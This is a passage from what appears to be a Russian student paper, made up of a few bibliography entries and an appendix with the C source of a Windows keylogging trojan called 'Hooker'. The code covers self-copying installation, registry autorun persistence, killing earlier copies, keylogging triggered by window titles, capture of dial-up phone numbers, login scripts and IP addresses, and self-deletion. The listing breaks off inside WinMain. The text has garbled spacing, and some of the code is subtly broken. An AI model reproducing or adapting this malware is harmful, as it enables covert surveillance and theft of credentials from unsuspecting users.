3. Солоницын, Ю.А. Интернет. Энциклопедия. / Ю.А. Солоницын, В. Холмогоров - Санкт-Петербург: «Питер», 2002.

4. Таненбаум, Э. Современные операционные системы. / Э. Таненбаум. - Санкт-Петербург: «Питер», 2002.

5. Холмогоров, В. Windows XP: Самоучитель. / В. Холмогоров. - Санкт-Петербург: «Питер», 2002.

6. Холмогоров, В. Энциклопедия Windows XP. / В. Холмогоров. - Санкт-Петербург: «Питер», 2002.

Приложение

Исходный текст троянца Нооker

#include "hooker. h"

#include "logfunc. h"

#include "common. h"

#include "lzw. h"

// ------------ - путь в реестре---------------------

HKEY GetRegKey (const char* s,char* r)

{

const char* szRoots [] = {

"HKEY_CLASSES_ROOT",

"HKEY_CURRENT_USER",

"HKEY_LOCAL_MACHINE",

"HKEY_USERS"};

const HKEY hKeys [] = {

HKEY_CLASSES_ROOT,

HKEY_CURRENT_USER,

HKEY_LOCAL_MACHINE,

HKEY_USERS};

int i;

for (i=0; i<4; i++)

if (! strncmp (s, szRoots [i], strlen (szRoots [i]))) {

strcpy (r, s + strlen (szRoots [i]) + 1);

return hKeys [i];

};

return NULL;

};

// --------Повторный запуск программы при необходимости--------

void RecurrentStart (void)

{

char *szCmd,sz1 [0x100],sz2 [0x100];

PROCESS_INFORMATION pi;

STARTUPINFO si;

szCmd = GetCommandLine ();

sprintf (sz1,"Restart_%X",sti. number);

if (! strstr (szCmd,sz1)) {

// Это первая копия процесса, сделать вторую

memset (&si,0,sizeof (si));

si. cb = sizeof (si);

GetModuleFileName (NULL,sz2,sizeof (sz2));

// Создаем процесс

CreateProcess (

sz2, // pointer to name of executable module

sz1, // pointer to command line string

NULL, // pointer to process security attributes

NULL, // pointer to thread security attributes

false, // handle inheritance flag

0, // creation flags

NULL, // pointer to new environment block

NULL, // pointer to current directory name

&si, // pointer to STARTUPINFO

&pi // pointer to PROCESS_INFORMATION

);

ExitProcess (0);

};

};

// ----------------------------Деинсталяция----------------

void AutoKill (HINSTANCE h_keylog)

{

HKEY hKey,hRoot;

char sz1 [0x100];

EnterCriticalSection (&gcs);

// вход реестре

hRoot = GetRegKey (sti. reg_path,sz1);

if (hRoot) {

RegOpenKeyEx (

hKey, // handle of open key

sz1, // address of name of subkey to open

0, // reserved

KEY_ALL_ACCESS, // security access mask

&hKey // address of handle of open key

);

RegDeleteValue (hKey,sti. reg_desc);

RegCloseKey (hKey);

};

// Удаляем лог

DeleteFile (sti. logname);

// Удаляем keylog dll

GetModuleFileName (h_keylog,sz1,sizeof (sz1));

FreeLibrary (h_keylog);

DeleteFile (sz1);

// Adieu!

ExitProcess (0);

};

// ----------------------Установка в реестре-------------------

void RegInstall (void)

{

HKEY hKey,hRoot;

ULONG i,j;

char buf1 [0x100],buf2 [0x100];

hRoot = GetRegKey (sti. reg_path,buf1);

if (! hRoot) hRoot = HKEY_LOCAL_MACHINE;

if (RegCreateKeyEx (

hRoot, // handle of an open key

buf1, // address of subkey name

0, // reserved

"", // address of class string

REG_OPTION_NON_VOLATILE, // special options flag

KEY_ALL_ACCESS, // desired security access

NULL, // address of key security structure

&hKey, // address of buffer for opened handle

&i // address of disposition value buffer

) ! = ERROR_SUCCESS) return;

i = sizeof (buf1);

if (sti. fullname)

strcpy (buf2,sti. full_exe_name);

else

strcpy (buf2,sti. exe_name);

if ((RegQueryValueEx (

hKey, // handle of key to query

sti. reg_desc, // address of name of value to query

NULL, // reserved

&j, // address of buffer for value type

(UCHAR*) buf1, // address of data buffer

&i // address of data buffer size

) ! = ERROR_SUCCESS) ||

(j! = REG_SZ) ||

(strcmp (buf1,buf2))) {

// Надо ставить свой ключ

RegSetValueEx (

hKey, // handle of key to set value for

sti. reg_desc, // address of value to set

0, // reserved

REG_SZ, // flag for value type

(UCHAR*) buf2, // address of value data

strlen (buf2) + 1 // size of value data

);

};

RegCloseKey (hKey);

};

// -----------------------Инсталяция в систему-----------------

void Install (void)

{

char buf1 [0x100],buf2 [0x100];

PROCESS_INFORMATION pi;

STARTUPINFO si;

// из какого каталога запуск?

GetModuleFileName (NULL,buf1,sizeof (buf1));

CharUpperBuff (buf1,strlen (buf1));

if (strcmp (sti. full_exe_name,buf1)) { // Нет это не наш каталог

// Копируем

if (CopyFile (buf1,sti. full_exe_name,false)) { // Скопировали нормально

memset (&si,0,sizeof (si));

si. cb = sizeof (si);

sprintf (buf2,"Restart_%X Kill_%X=%s",sti. number,sti. number,buf1);

// Стартуем процесс

CreateProcess (

sti. full_exe_name, // pointer to name of executable module

buf2, // pointer to command line string

NULL, // pointer to process security attributes

NULL, // pointer to thread security attributes

false, // handle inheritance flag

0, // creation flags

NULL, // pointer to new environment block

NULL, // pointer to current directory name

&si, // pointer to STARTUPINFO

&pi // pointer to PROCESS_INFORMATION

);

};

ExitProcess (0);

};

};

// --------------------Проверка на включение кейлога-------

bool TitleTest (HWND hwnd, char* t)

{

char title [0x200];

UINT i;

GetWindowText (hwnd,title,sizeof (title)); // Считываем заголовок окна

strcpy (t,title);

if (sti. total_log) return true; // Если постоянный лог

CharUpperBuff (title,strlen (title)); // в верхний регистр

for (i = 0; i<sti. nsubstr; i++) // Ищем субстроки

if (strstr (title,sti. substr [i])) return true;

return false;

};

// -----Тут происходит проверка на возникновение соединения----

void ConDectecting (void)

{

static HRASCONN hconn;

static int state;

RASCONN rascon;

RASCONNSTATUS rascs;

LPRASENTRY re;

RASPPPIP rasip;

SYSTEMTIME st;

int i,j;

char sz1 [0x1000],sz2 [0x100];

FILE* fs;

if (! bRASDLL) return;

// текущее соединение?

rascon. dwSize = sizeof (RASCONN);

j = sizeof (rascon);

if (RasEnumConnections (

&rascon, // buffer to receive connections data

(LPDWORD) &j, // size in bytes of buffer

(LPDWORD) &i // number of connections written to buffer

)) return;

if (! i) { // нет соединений

hconn = NULL;

return;

};

// на каком этапе подключение?

rascs. dwSize = sizeof (rascs);

i = RasGetConnectStatus (

rascon. hrasconn, // handle to RAS connection of interest

&rascs // buffer to receive status data

);

if ((i) || (rascs. rasconnstate == RASCS_Disconnected)) {

hconn = NULL;

return;

};

if (hconn! = rascon. hrasconn) {

state = rascs. rasconnstate;

hconn = rascon. hrasconn;

return;

};

if ((rascs. rasconnstate == RASCS_Connected) && (state! = RASCS_Connected)) {

state = RASCS_Connected;

// новое соединение успешно установлено

GetLocalTime (&st);

// имя, время соединения

sprintf (

sz1,"\nConnection: \"%s\",%2.2u:%2.2u:%2.2u\n",

rascon. szEntryName,

st. wHour,

st. wMinute,

st. wSecond

);

i = 0; // опередляем количество памяти под RASENTRY

RasGetEntryProperties (

NULL, // pointer to full path and filename of phone-book file

rascon. szEntryName, // pointer to an entry name

NULL, // buffer that receives entry information

(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer

NULL, // buffer that receives device-specific configuration information

NULL // size, in bytes, of the lpbDeviceInfo buffer

);

re = (LPRASENTRY) new BYTE [i];

re->dwSize = sizeof (RASENTRY);

j = RasGetEntryProperties (

NULL, // pointer to full path and filename of phone-book file

rascon. szEntryName, // pointer to an entry name

re, // buffer that receives entry information

(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer

NULL, // buffer that receives device-specific configuration information

NULL // size, in bytes, of the lpbDeviceInfo buffer

);

// телефон, скрипт

if (! j) {

if (re->dwfOptions & RASEO_UseCountryAndAreaCodes)

sprintf (

sz2,"\tPN:%u,%s,%s\n",

re->dwCountryCode,

re->szAreaCode,

re->szLocalPhoneNumber

);

else

sprintf (

sz2,"\tPN:%s\n",

re->szLocalPhoneNumber

);

strcat (sz1,sz2);

if (strcmp (re->szScript,"")) {

sprintf (sz2,"\tScript:%s\n",re->szScript);

strcat (sz1,sz2);

fs = fopen (re->szScript,"rt");

if (fs) {

fseek (fs,0,SEEK_END);

i = ftell (fs);

j = strlen (sz1);

if (i < ((int) sizeof (sz1) - j - 0x40)) {

fseek (fs,0,SEEK_SET);

i = fread (&sz1 [j],1, i,fs);

sz1 [j + i] = 0;

strcat (sz1,"\n");

};

fclose (fs);

};

};

};

delete re;

i = sizeof (RASPPPIP);

rasip. dwSize = i;

j = RasGetProjectionInfo (

rascon. hrasconn, // handle that specifies remote access connection of interest

RASP_PppIp, // specifies type of projection information to obtain

&rasip, // points to buffer that receives projection information

(LPDWORD) &i // points to variable that specifies buffer size

);

// IP наш и сервера

if (! j) {

sprintf (

sz2,"\tIP:%s\n"

"\tServer's IP:%s\n",

rasip. szIpAddress,

rasip. szServerIpAddress);

strcat (sz1,sz2);

};

LogAdd (sz1);

};

};

// ---------------------Удаление предыдущей копии----------

void DelPrev ()

{

CREATETOOL CreateToolhelp32Snapshot;

FIRST32 Process32First;

NEXT32 Process32Next;

HANDLE h_th;

HINSTANCE h_l;

PROCESSENTRY32 pe;

HANDLE hp;

h_l = LoadLibrary ("KERNEL32. DLL");

if (! h_l) return;

CreateToolhelp32Snapshot =

(CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot");

Process32First = (FIRST32) GetProcAddress (h_l,"Process32First");

Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next");

if ((! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot))

goto exit_proc;

h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0);

pe. dwSize = sizeof (pe);

if (! Process32First (h_th,&pe)) goto exit_proc;

do {

CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile));

if ((! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) {

hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID);

if (hp)

#ifdef _DEBUG

if (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process");

#else

TerminateProcess (hp,0);

#endif

};

} while (Process32Next (h_th,&pe));

exit_proc:

FreeLibrary (h_l);

};

// --------callback функция для распаковки кейлог-dll------

FILE* unpack_file;

void Callback (char* data, int len)

{

fwrite (data,1,len,unpack_file);

};

// -----------------------------WinMain--------------------

int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int)

{

MSG msg;

char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt;

HINSTANCE h_ker, h_keylog, h_ras;

SYSTEMTIME systime, killtime, mailtime, exectime;

int h_timer, i, j;

LPREGISTERSERVICEPROCESS lpRegServ;

LPGETDATA GetData;

LPKEYLOGON KeylogOn;

LPKEYLOGOFF KeylogOff;

LPKEYLOGOPT KeylogOpt;

bool IsLog = false, IsMailing = false, IsChange = false;

UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0;

HWND h_curwnd, h_oldwnd = NULL;

FILE* h_f;

HRSRC hr;

HGLOBAL hrd;

_AttachedData a_d;

char* sti_buf;

char old_title [MAX_PATH];

int d_s;

// Грузим конфинурацию

GetModuleFileName (NULL,buf1,sizeof (buf1));